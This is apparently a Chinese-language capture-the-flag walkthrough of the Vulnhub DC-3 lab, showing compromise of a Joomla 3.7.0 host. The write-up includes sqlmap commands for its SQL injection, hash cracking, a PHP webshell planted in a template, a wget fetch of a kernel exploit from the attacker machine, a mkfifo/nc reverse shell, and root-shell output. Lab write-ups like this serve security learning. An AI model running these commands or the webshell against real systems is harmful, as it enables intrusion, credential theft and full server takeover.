joomla3.7.0的提權(quán)

信息收集

靶機(jī)IP:192.168.20.136
kaliIP:192.168.20.128
網(wǎng)絡(luò)有問題的可以看下搭建Vulnhub靶機(jī)網(wǎng)絡(luò)問題(獲取不到IP)

1. 首先nmap掃端口和版本，dirsearch跑下目錄，wappalyzer也可以用下
   
   
   
   發(fā)現(xiàn)服務(wù)器用的ubuntu，JoomlaCMS等信息。
   還有個(gè)admin敏感目錄（這個(gè)是joomla后臺(tái)界面）。

漏洞利用

2. 考慮Joomla漏洞
   有專門針對(duì)Joomla的漏掃工具joomscan
   kali apt install joomscan下載
   joomscan -u 192.168.20.136得到j(luò)oomla的版本3.7.0
   去searchsploit看看有沒有對(duì)應(yīng)版本的漏洞
   
   看到一個(gè)sql注入漏洞
   去目錄查看txt/usr/share/exploitdb/exploits/php/webapps
   
   給出了我們注入點(diǎn)和sqlmap命令，正常拿后臺(tái)密碼
   查看數(shù)據(jù)庫(kù)
   sqlmap -u "http://192.168.20.136/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] --batch --dbs
   查看joomladb的表
   sqlmap -u "http://192.168.20.136/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] -D joomladb --tables
   查看users表的列
   sqlmap -u "http://192.168.20.136/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] --columns -T "#__users" -D joomladb
   取值
   sqlmap -u "http://192.168.20.136/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] --dump -C username,password -T "#__users" -D joomladb
   
   拿到admin的密碼不過是加密的，觀察密文特征，搜素joomla3.7.0的加密方式發(fā)現(xiàn)為crypt()，這里可以用hashcat和john字典解密。
   hashcat使用教程
   hashcat -a 0 -m 3200 source.txt rockyou.txt
   source.txt中存的是密文
   
   john
   
   拿到admin后臺(tái)密碼snoopy，注意去后臺(tái)路徑登錄
   這里有兩種方式，一種是上傳語言包（我這里下載語言包界面沒東西）詳情見joomla上傳語言包提權(quán)
   第二種是修改joom網(wǎng)站提權(quán)我們可以直接編輯網(wǎng)站的源碼。
   我們選擇beez3模板，在index.php中直接加入一句話木馬<?php $sl = create_function('', @$_REQUEST['klion']); $sl(); ?>
   （注意在Style中把default界面設(shè)置為beez3）
   
   之后用蟻劍鏈接的時(shí)候要注意，這個(gè)后臺(tái)界面解析不了首頁的php，我們要打開網(wǎng)站的首頁，已經(jīng)變?yōu)閎eez3模板
   
   拿蟻劍連接，
   
   

提權(quán)

ubuntu版本漏洞
lsb_release -a
uname -a查看版本

searchsploit 查找版本漏洞

去URL中找EXP，下載在攻擊機(jī)，用python3 -m http.server 4444 開啟一個(gè)簡(jiǎn)單http服務(wù)器。
wget http://192.168.20.128:4444/39772.zip
之后根據(jù)URL教程去執(zhí)行就好
我這蟻劍出了個(gè)問題一直提權(quán)失敗，之后用nc反彈shell到kali才提權(quán)成功了。
這個(gè)靶機(jī)nc沒有-e參數(shù)用不了nc -e /bin/sh 192.168.20.128 6666
要用rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.20.128 6666 >/tmp/f
提權(quán)部分過程（find 輸出太多留下有用部分了）

┌──(root?kali)-[/home/kali/Desktop/DC-3]
└─# nc -lvp 6666                  
listening on [any] 6666 ...
192.168.20.136: inverse host lookup failed: Host name lookup failure
connect to [192.168.20.128] from (UNKNOWN) [192.168.20.136] 54684
/bin/sh: 0: can't access tty; job control turned off
$ ls
39772
39772.zip
44300.zip
LICENSE.txt
README.txt
__MACOSX
administrator
bin
cache
cli
components
configuration.php
decr
decr.c
htaccess.txt
images
includes
index.php
language
layouts
libraries
media
modules
plugins
pwn
pwn.c
robots.txt.dist
templates
tmp
web.config.txt
$ cd 39772
$ ls
crasher.tar
ebpf_mapfd_doubleput_exploit
exploit.tar
$ cd ebpf_mapfd_doubleput_exploit
$ ls
compile.sh
doubleput
doubleput.c
fuse_mount
hello
hello.c
suidhelper
suidhelper.c
$ ./compile.sh
doubleput.c: In function 'make_setuid':
doubleput.c:91:13: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast].insns = (__aligned_u64) insns,^
doubleput.c:92:15: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast].license = (__aligned_u64)""^
$ ./doubleput
fuse: mountpoint is not empty
fuse: if you are sure this is safe, use the 'nonempty' mount option
doubleput: system() failed
doubleput: child quit before we got a good file*
suid file detected, launching rootshell...
we have root privs now...id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
find / -name *flag*
/root/the-flag.txt
/proc/sys/kernel/acpi_video_flags
/proc/kpageflags
/usr/lib/i386-linux-gnu/perl/5.22.1/bits/waitflags.phls
compile.sh
doubleput
doubleput.c
fuse_mount
hello
hello.c
suidhelper
suidhelper.c
cd /root
ls
the-flag.txt
cat the-flag.txt__        __   _ _   ____                   _ _ _ _ \ \      / /__| | | |  _ \  ___  _ __   ___| | | | |\ \ /\ / / _ \ | | | | | |/ _ \| '_ \ / _ \ | | | |\ V  V /  __/ | | | |_| | (_) | | | |  __/_|_|_|_|\_/\_/ \___|_|_| |____/ \___/|_| |_|\___(_|_|_|_)Congratulations are in order.  :-)I hope you've enjoyed this challenge as I enjoyed making it.If there are any ways that I can improve these little challenges,
please let me know.As per usual, comments and complaints can be sent via Twitter to @DCAU7Have a great day!!!!